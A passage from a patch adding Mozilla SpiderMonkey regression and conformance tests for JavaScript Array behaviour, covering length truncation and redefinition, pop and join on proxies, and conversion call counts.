+assertEq(result, "1");
+
+log.length = 0;
+array.push(2);
+
+result = Array.prototype.join.call(proxy);
+assertEqArray(log, [ "get:length", "get:0", "get:1" ]);
+assertEq(result, "1,2");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/lastIndexOf-never-returns-negative-zero.js b/js/src/tests/non262/Array/lastIndexOf-never-returns-negative-zero.js
new file mode 100644
index 0000000000..296f87ec1f
--- /dev/null
+++ b/js/src/tests/non262/Array/lastIndexOf-never-returns-negative-zero.js
@@ -0,0 +1,4 @@
+assertEq([17].lastIndexOf(17, -0), +0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/length-01.js b/js/src/tests/non262/Array/length-01.js
new file mode 100644
index 0000000000..4fe81e2b6e
--- /dev/null
+++ b/js/src/tests/non262/Array/length-01.js
@@ -0,0 +1,71 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 600392;
+var summary =
+ 'Object.preventExtensions([]).length = 0 should do nothing, not throw';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+
+function testEmpty()
+{
+ var a = [];
+ assertEq(a.length, 0);
+ assertEq(Object.preventExtensions(a), a);
+ assertEq(a.length, 0);
+ a.length = 0;
+ assertEq(a.length, 0);
+}
+testEmpty();
+
+function testEmptyStrict()
+{
+ "use strict";
+ var a = [];
+ assertEq(a.length, 0);
+ assertEq(Object.preventExtensions(a), a);
+ assertEq(a.length, 0);
+ a.length = 0;
+ assertEq(a.length, 0);
+}
+testEmptyStrict();
+
+function testNonEmpty()
+{
+ var a = [1, 2, 3];
+ assertEq(a.length, 3);
+ assertEq(Object.preventExtensions(a), a);
+ assertEq(a.length, 3);
+ a.length = 0;
+ assertEq(a.length, 0);
+}
+testNonEmpty();
+
+function testNonEmptyStrict()
+{
+ "use strict";
+ var a = [1, 2, 3];
+ assertEq(a.length, 3);
+ assertEq(Object.preventExtensions(a), a);
+ assertEq(a.length, 3);
+ a.length = 0;
+ assertEq(a.length, 0);
+}
+testNonEmptyStrict();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Array/length-nonwritable-redefine-nop.js b/js/src/tests/non262/Array/length-nonwritable-redefine-nop.js
new file mode 100644
index 0000000000..1d7fe32c8e
--- /dev/null
+++ b/js/src/tests/non262/Array/length-nonwritable-redefine-nop.js
@@ -0,0 +1,70 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary = "No-op array length redefinition";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr;
+
+// initializedLength == capacity == length
+// 6 == 6 == 6
+arr = Object.defineProperty([0, 1, 2, 3, 4, 5], "length", { writable: false });
+Object.defineProperty(arr, "length", { value: 6 });
+Object.defineProperty(arr, "length", { writable: false });
+Object.defineProperty(arr, "length", { configurable: false });
+Object.defineProperty(arr, "length", { writable: false, configurable: false });
+Object.defineProperty(arr, "length", { writable: false, value: 6 });
+Object.defineProperty(arr, "length", { configurable: false, value: 6 });
+Object.defineProperty(arr, "length", { writable: false, configurable: false, value: 6 });
+
+// initializedLength == capacity < length
+// 6 == 6 < 8
+arr = Object.defineProperty([0, 1, 2, 3, 4, 5], "length", { value: 8, writable: false });
+Object.defineProperty(arr, "length", { value: 8 });
+Object.defineProperty(arr, "length", { writable: false });
+Object.defineProperty(arr, "length", { configurable: false });
+Object.defineProperty(arr, "length", { writable: false, configurable: false });
+Object.defineProperty(arr, "length", { writable: false, value: 8 });
+Object.defineProperty(arr, "length", { configurable: false, value: 8 });
+Object.defineProperty(arr, "length", { writable: false, configurable: false, value: 8 });
+
+// initializedLength < capacity == length
+// 7 < 8 == 8
+arr = Object.defineProperty([0, 1, 2, 3, 4, 5, 6, /* hole */, ], "length",
+ { value: 8, writable: false });
+Object.defineProperty(arr, "length", { value: 8 });
+Object.defineProperty(arr, "length", { writable: false });
+Object.defineProperty(arr, "length", { configurable: false });
+Object.defineProperty(arr, "length", { writable: false, configurable: false });
+Object.defineProperty(arr, "length", { writable: false, value: 8 });
+Object.defineProperty(arr, "length", { configurable: false, value: 8 });
+Object.defineProperty(arr, "length", { writable: false, configurable: false, value: 8 });
+
+// initializedLength < capacity < length
+// 3 < 6 < 8
+arr = Object.defineProperty([0, 1, 2], "length", { value: 8, writable: false });
+Object.defineProperty(arr, "length", { value: 8 });
+Object.defineProperty(arr, "length", { writable: false });
+Object.defineProperty(arr, "length", { configurable: false });
+Object.defineProperty(arr, "length", { writable: false, configurable: false });
+Object.defineProperty(arr, "length", { writable: false, value: 8 });
+Object.defineProperty(arr, "length", { configurable: false, value: 8 });
+Object.defineProperty(arr, "length", { writable: false, configurable: false, value: 8 });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/length-set-object.js b/js/src/tests/non262/Array/length-set-object.js
new file mode 100644
index 0000000000..bf80b592ea
--- /dev/null
+++ b/js/src/tests/non262/Array/length-set-object.js
@@ -0,0 +1,68 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 657298;
+var summary = 'Various quirks of setting array length properties to objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function invokeConversionTwice1()
+{
+ var count = 0;
+ [].length = { valueOf: function() { count++; return 1; } };
+ assertEq(count, 2);
+}
+invokeConversionTwice1();
+
+function invokeConversionTwice2()
+{
+ var count = 0;
+ [].length = { toString: function() { count++; return 1; }, valueOf: null };
+ assertEq(count, 2);
+}
+invokeConversionTwice2();
+
+function dontOverwriteError1()
+{
+ try
+ {
+ [].length = { valueOf: {}, toString: {} };
+ throw new Error("didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "expected a TypeError running out of conversion options, got " + e);
+ }
+}
+dontOverwriteError1();
+
+function dontOverwriteError2()
+{
+ try
+ {
+ [].length = { valueOf: function() { throw "error"; } };
+ throw new Error("didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e, "error", "expected 'error' from failed conversion, got " + e);
+ }
+}
+dontOverwriteError2();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Array/length-truncate-nonconfigurable-sparse.js b/js/src/tests/non262/Array/length-truncate-nonconfigurable-sparse.js
new file mode 100644
index 0000000000..a51fd40898
--- /dev/null
+++ b/js/src/tests/non262/Array/length-truncate-nonconfigurable-sparse.js
@@ -0,0 +1,110 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary =
+ "Array length redefinition behavior with non-configurable elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function addDataProperty(obj, prop, value, enumerable, configurable, writable)
+{
+ var desc =
+ { enumerable: enumerable,
+ configurable: configurable,
+ writable: writable,
+ value: value };
+ Object.defineProperty(obj, prop, desc);
+}
+
+function nonstrict()
+{
+ var arr = [0, , 2, , , 5];
+
+ addDataProperty(arr, 31415926, "foo", true, true, true);
+ addDataProperty(arr, 123456789, "bar", true, true, false);
+ addDataProperty(arr, 8675309, "qux", false, true, true);
+ addDataProperty(arr, 1735039, "eit", false, true, false);
+ addDataProperty(arr, 987654321, "fun", false, true, false);
+
+ // non-array indexes to spice things up
+ addDataProperty(arr, "foopy", "sdfsd", false, false, false);
+ addDataProperty(arr, 4294967296, "psych", true, false, false);
+ addDataProperty(arr, 4294967295, "psych", true, false, false);
+
+ addDataProperty(arr, 27182818, "eep", false, false, false);
+
+ // Truncate...but only as far as possible.
+ arr.length = 1;
+
+ assertEq(arr.length, 27182819);
+
+ var props = Object.getOwnPropertyNames(arr).sort();
+ var expected =
+ ["0", "2", "5", "1735039", "8675309", "27182818",
+ "foopy", "4294967296", "4294967295", "length"].sort();
+
+ assertEq(props.length, expected.length);
+ for (var i = 0; i < props.length; i++)
+ assertEq(props[i], expected[i], "unexpected property: " + props[i]);
+}
+nonstrict();
+
+function strict()
+{
+ "use strict";
+
+ var arr = [0, , 2, , , 5];
+
+ addDataProperty(arr, 31415926, "foo", true, true, true);
+ addDataProperty(arr, 123456789, "bar", true, true, false);
+ addDataProperty(arr, 8675309, "qux", false, true, true);
+ addDataProperty(arr, 1735039, "eit", false, true, false);
+ addDataProperty(arr, 987654321, "fun", false, true, false);
+
+ // non-array indexes to spice things up
+ addDataProperty(arr, "foopy", "sdfsd", false, false, false);
+ addDataProperty(arr, 4294967296, "psych", true, false, false);
+ addDataProperty(arr, 4294967295, "psych", true, false, false);
+
+ addDataProperty(arr, 27182818, "eep", false, false, false);
+
+ try
+ {
+ arr.length = 1;
+ throw new Error("didn't throw?!");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "non-configurable property should trigger TypeError, got " + e);
+ }
+
+ assertEq(arr.length, 27182819);
+
+ var props = Object.getOwnPropertyNames(arr).sort();
+ var expected =
+ ["0", "2", "5", "1735039", "8675309", "27182818",
+ "foopy", "4294967296", "4294967295", "length"].sort();
+
+ assertEq(props.length, expected.length);
+ for (var i = 0; i < props.length; i++)
+ assertEq(props[i], expected[i], "unexpected property: " + props[i]);
+}
+strict();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/length-truncate-nonconfigurable.js b/js/src/tests/non262/Array/length-truncate-nonconfigurable.js
new file mode 100644
index 0000000000..e9a66fe0ac
--- /dev/null
+++ b/js/src/tests/non262/Array/length-truncate-nonconfigurable.js
@@ -0,0 +1,48 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary =
+ "Array length redefinition behavior with non-configurable elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [0, 1, 2];
+Object.defineProperty(arr, 1, { configurable: false });
+
+try
+{
+ Object.defineProperty(arr, "length", { value: 0, writable: false });
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "must throw TypeError when array truncation would have to remove " +
+ "non-configurable elements");
+}
+
+assertEq(arr.length, 2, "length is highest remaining index plus one");
+
+var desc = Object.getOwnPropertyDescriptor(arr, "length");
+assertEq(desc !== undefined, true);
+
+assertEq(desc.value, 2);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/length-truncate-with-indexed.js b/js/src/tests/non262/Array/length-truncate-with-indexed.js
new file mode 100644
index 0000000000..9e4da812aa
--- /dev/null
+++ b/js/src/tests/non262/Array/length-truncate-with-indexed.js
@@ -0,0 +1,101 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary =
+ "Array length setting/truncating with non-dense, indexed elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testTruncateDenseAndSparse()
+{
+ var arr;
+
+ // initialized length 16, capacity same
+ arr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15];
+
+ // plus a sparse element
+ arr[987654321] = 987654321;
+
+ // lop off the sparse element and half the dense elements, shrink capacity
+ arr.length = 8;
+
+ assertEq(987654321 in arr, false);
+ assertEq(arr[987654321], undefined);
+ assertEq(arr.length, 8);
+}
+testTruncateDenseAndSparse();
+
+function testTruncateSparse()
+{
+ // initialized length 8, capacity same
+ var arr = [0, 1, 2, 3, 4, 5, 6, 7];
+
+ // plus a sparse element
+ arr[987654321] = 987654321;
+
+ // lop off the sparse element, leave initialized length/capacity unchanged
+ arr.length = 8;
+
+ assertEq(987654321 in arr, false);
+ assertEq(arr[987654321], undefined);
+ assertEq(arr.length, 8);
+}
+testTruncateSparse();
+
+function testTruncateDenseAndSparseShrinkCapacity()
+{
+ // initialized length 11, capacity...somewhat larger, likely 16
+ var arr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
+
+ // plus a sparse element
+ arr[987654321] = 987654321;
+
+ // lop off the sparse element, reduce initialized length, reduce capacity
+ arr.length = 8;
+
+ assertEq(987654321 in arr, false);
+ assertEq(arr[987654321], undefined);
+ assertEq(arr.length, 8);
+}
+testTruncateDenseAndSparseShrinkCapacity();
+
+function testTruncateSparseShrinkCapacity()
+{
+ // initialized length 8, capacity same
+ var arr = [0, 1, 2, 3, 4, 5, 6, 7];
+
+ // capacity expands to accommodate, initialized length remains same (not equal
+ // to capacity or length)
+ arr[15] = 15;
+
+ // now no elements past initialized length
+ delete arr[15];
+
+ // ...except a sparse element
+ arr[987654321] = 987654321;
+
+ // trims sparse element, doesn't change initialized length, shrinks capacity
+ arr.length = 8;
+
+ assertEq(987654321 in arr, false);
+ assertEq(arr[987654321], undefined);
+ assertEq(arr.length, 8);
+}
+testTruncateSparseShrinkCapacity();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/pop-empty-nonwritable.js b/js/src/tests/non262/Array/pop-empty-nonwritable.js
new file mode 100644
index 0000000000..f42ca98f5c
--- /dev/null
+++ b/js/src/tests/non262/Array/pop-empty-nonwritable.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary = 'Object.freeze([]).pop() must throw a TypeError';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ Object.freeze([]).pop();
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown TypeError, instead got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/pop-no-has-trap.js b/js/src/tests/non262/Array/pop-no-has-trap.js
new file mode 100644
index 0000000000..11bb93ddd0
--- /dev/null
+++ b/js/src/tests/non262/Array/pop-no-has-trap.js
@@ -0,0 +1,58 @@
+// Test that Array.prototype.pop doesn't call the [[HasProperty]] internal
+// method of objects when retrieving the element at the last index.
+
+var log = [];
+var array = [];
+var proxy = new Proxy(array, new Proxy({}, {
+ get(t, trap, r) {
+ return (t, pk, ...more) => {
+ log.push(`${trap}:${String(pk)}`);
+ return Reflect[trap](t, pk, ...more);
+ };
+ }
+}));
+
+var result;
+
+result = Array.prototype.pop.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, undefined);
+
+log.length = 0;
+array.push(1);
+
+result = Array.prototype.pop.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "get:0", "deleteProperty:0",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, 1);
+
+log.length = 0;
+array.push(2, 3);
+
+result = Array.prototype.pop.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "get:1", "deleteProperty:1",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, 3);
+
+log.length = 0;
+array.push(4, 5);
+
+result = Array.prototype.pop.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "get:2", "deleteProperty:2",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, 5);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/pop-nonarray-higher-elements.js b/js/src/tests/non262/Array/pop-nonarray-higher-elements.js
new file mode 100644
index 0000000000..052eb4230f
--- /dev/null
+++ b/js/src/tests/non262/Array/pop-nonarray-higher-elements.js
@@ -0,0 +1,91 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 909602;
+var summary =
+ "Array.prototype.pop shouldn't touch elements greater than length on " +
+ "non-arrays";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function doTest(obj, index)
+{
+ // print("testing " + JSON.stringify(obj) + " with index " + index);
+ assertEq(Array.prototype.pop.call(obj), undefined);
+ assertEq(index in obj, true);
+ assertEq(obj[index], 42);
+}
+
+// not-super-much-later element
+
+// non-zero length
+function testPop1()
+{
+ var obj = { length: 2, 3: 42 };
+ doTest(obj, 3);
+}
+for (var i = 0; i < 50; i++)
+ testPop1();
+
+// zero length
+function testPop2()
+{
+ var obj = { length: 0, 3: 42 };
+ doTest(obj, 3);
+}
+for (var i = 0; i < 50; i++)
+ testPop2();
+
+// much-later (but dense) element
+
+// non-zero length
+function testPop3()
+{
+ var obj = { length: 2, 55: 42 };
+ doTest(obj, 55);
+}
+for (var i = 0; i < 50; i++)
+ testPop3();
+
+// zero length
+function testPop4()
+{
+ var obj = { length: 0, 55: 42 };
+ doTest(obj, 55);
+}
+for (var i = 0; i < 50; i++)
+ testPop4();
+
+// much much much later (sparse) element
+
+// non-zero length
+function testPop5()
+{
+ var obj = { length: 2, 65530: 42 };
+ doTest(obj, 65530);
+}
+for (var i = 0; i < 50; i++)
+ testPop5();
+
+// zero length
+function testPop6()
+{
+ var obj = { length: 0, 65530: 42 };
+ doTest(obj, 65530);
+}
+for (var i = 0; i < 50; i++)
+ testPop6();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/redefine-length-accessor.js b/js/src/tests/non262/Array/redefine-length-accessor.js
new file mode 100644
index 0000000000..339a3dd0fa
--- /dev/null
+++ b/js/src/tests/non262/Array/redefine-length-accessor.js
@@ -0,0 +1,42 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var absent = {};
+
+var getterValues = [absent, undefined, function(){}];
+var setterValues = [absent, undefined, function(){}];
+var configurableValues = [absent, true, false];
+var enumerableValues = [absent, true, false];
+
+function CreateDescriptor(getter, setter, enumerable, configurable) {
+ var descriptor = {};
+ if (getter !== absent)
+ descriptor.get = getter;
+ if (setter !== absent)
+ descriptor.set = setter;
+ if (configurable !== absent)
+ descriptor.configurable = configurable;
+ if (enumerable !== absent)
+ descriptor.enumerable = enumerable;
+ return descriptor;
+}
+
+getterValues.forEach(function(getter) {
+ setterValues.forEach(function(setter) {
+ enumerableValues.forEach(function(enumerable) {
+ configurableValues.forEach(function(configurable) {
+ var descriptor = CreateDescriptor(getter, setter, enumerable, configurable);
+ if (!("get" in descriptor || "set" in descriptor))
+ return;
+
+ assertThrowsInstanceOf(function() {
+ Object.defineProperty([], "length", descriptor);
+ }, TypeError);
+ });
+ });
+ });
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/redefine-length-frozen-array.js b/js/src/tests/non262/Array/redefine-length-frozen-array.js
new file mode 100644
index 0000000000..ca3b43018b
--- /dev/null
+++ b/js/src/tests/non262/Array/redefine-length-frozen-array.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 866580;
+var summary = "Assertion redefining length property of a frozen array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = Object.freeze([]);
+Object.defineProperty(arr, "length", {});
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/redefine-length-frozen-dictionarymode-array.js b/js/src/tests/non262/Array/redefine-length-frozen-dictionarymode-array.js
new file mode 100644
index 0000000000..bca6e0cd72
--- /dev/null
+++ b/js/src/tests/non262/Array/redefine-length-frozen-dictionarymode-array.js
@@ -0,0 +1,36 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 880591;
+var summary =
+ "Assertion redefining length property of a frozen dictionary-mode array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function convertToDictionaryMode(arr)
+{
+ Object.defineProperty(arr, 0, { configurable: true });
+ Object.defineProperty(arr, 1, { configurable: true });
+ delete arr[0];
+}
+
+var arr = [];
+convertToDictionaryMode(arr);
+Object.freeze(arr);
+Object.defineProperty(arr, "length", {});
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-call-counts.js b/js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-call-counts.js
new file mode 100644
index 0000000000..b77f396751
--- /dev/null
+++ b/js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-call-counts.js
@@ -0,0 +1,45 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 866700;
+var summary = "Assertion redefining non-writable length to a non-numeric value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count = 0;
+
+var convertible =
+ {
+ valueOf: function()
+ {
+ count++;
+ return 0;
+ }
+ };
+
+var arr = [];
+Object.defineProperty(arr, "length", { value: 0, writable: false });
+
+Object.defineProperty(arr, "length", { value: convertible });
+assertEq(count, 2);
+
+Object.defineProperty(arr, "length", { value: convertible });
+assertEq(count, 4);
+
+assertEq(arr.length, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-throw.js b/js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-throw.js
new file mode 100644
index 0000000000..f3003a6bdb
--- /dev/null
+++ b/js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-throw.js
@@ -0,0 +1,58 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 866700;
+var summary = "Assertion redefining non-writable length to a non-numeric value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count = 0;
+
+var convertible =
+ {
+ valueOf: function()
+ {
+ count++;
+ if (count > 2)
+ return 0;
+ throw new SyntaxError("fnord");
+ }
+ };
+
+var arr = [];
+Object.defineProperty(arr, "length", { value: 0, writable: false });
+
+try
+{
+ Object.defineProperty(arr, "length",
+ {
+ value: convertible,
+ writable: true,
+ configurable: true,
+ enumerable: true
+ });
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true, "expected SyntaxError, got " + e);
+}
+
+assertEq(count, 1);
+assertEq(arr.length, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/redefine-nonwritable-length-nonnumeric.js b/js/src/tests/non262/Array/redefine-nonwritable-length-nonnumeric.js
new file mode 100644
index 0000000000..aab9c1d5d2
--- /dev/null
+++ b/js/src/tests/non262/Array/redefine-nonwritable-length-nonnumeric.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 866700;
+var summary = "Assertion redefining non-writable length to a non-numeric value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+Object.defineProperty(arr, "length", { value: 0, writable: false });
+
+// Per Array's magical behavior, the value in the descriptor gets canonicalized
+// *before* SameValue comparisons occur, so this shouldn't throw.
+Object.defineProperty(arr, "length", { value: '' });
+
+assertEq(arr.length, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/regress-101488.js b/js/src/tests/non262/Array/regress-101488.js
new file mode 100644
index 0000000000..f8372e7d92
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-101488.js
@@ -0,0 +1,135 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 24 September 2001
+ *
+ * SUMMARY: Try assigning arr.length = new Number(n)
+ * From correspondence with Igor Bukanov <igor@icesoft.no>
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=101488
+ *
+ * Without the "new" keyword, assigning arr.length = Number(n) worked.
+ * But with it, Rhino was giving an error "Inappropriate array length"
+ * and SpiderMonkey was exiting without giving any error or return value -
+ *
+ * Comments on the Rhino code by igor@icesoft.no:
+ *
+ * jsSet_length requires that the new length value should be an instance
+ * of Number. But according to Ecma 15.4.5.1, item 12-13, an error should
+ * be thrown only if ToUint32(length_value) != ToNumber(length_value)
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 101488;
+var summary = 'Try assigning arr.length = new Number(n)';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var arr = [];
+
+
+status = inSection(1);
+arr = Array();
+tryThis('arr.length = new Number(1);');
+actual = arr.length;
+expect = 1;
+addThis();
+
+status = inSection(2);
+arr = Array(5);
+tryThis('arr.length = new Number(1);');
+actual = arr.length;
+expect = 1;
+addThis();
+
+status = inSection(3);
+arr = Array();
+tryThis('arr.length = new Number(17);');
+actual = arr.length;
+expect = 17;
+addThis();
+
+status = inSection(4);
+arr = Array(5);
+tryThis('arr.length = new Number(17);');
+actual = arr.length;
+expect = 17;
+addThis();
+
+
+/*
+ * Also try the above with the "new" keyword before Array().
+ * Array() and new Array() should be equivalent, by ECMA 15.4.1.1
+ */
+status = inSection(5);
+arr = new Array();
+tryThis('arr.length = new Number(1);');
+actual = arr.length;
+expect = 1;
+addThis();
+
+status = inSection(6);
+arr = new Array(5);
+tryThis('arr.length = new Number(1);');
+actual = arr.length;
+expect = 1;
+addThis();
+
+arr = new Array();
+tryThis('arr.length = new Number(17);');
+actual = arr.length;
+expect = 17;
+addThis();
+
+status = inSection(7);
+arr = new Array(5);
+tryThis('arr.length = new Number(17);');
+actual = arr.length;
+expect = 17;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function tryThis(s)
+{
+ try
+ {
+ eval(s);
+ }
+ catch(e)
+ {
+ // keep going
+ }
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/regress-101964.js b/js/src/tests/non262/Array/regress-101964.js
new file mode 100644
index 0000000000..4e82863b1c
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-101964.js
@@ -0,0 +1,83 @@
+// |reftest| random -- bogus perf test (bug 467263)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
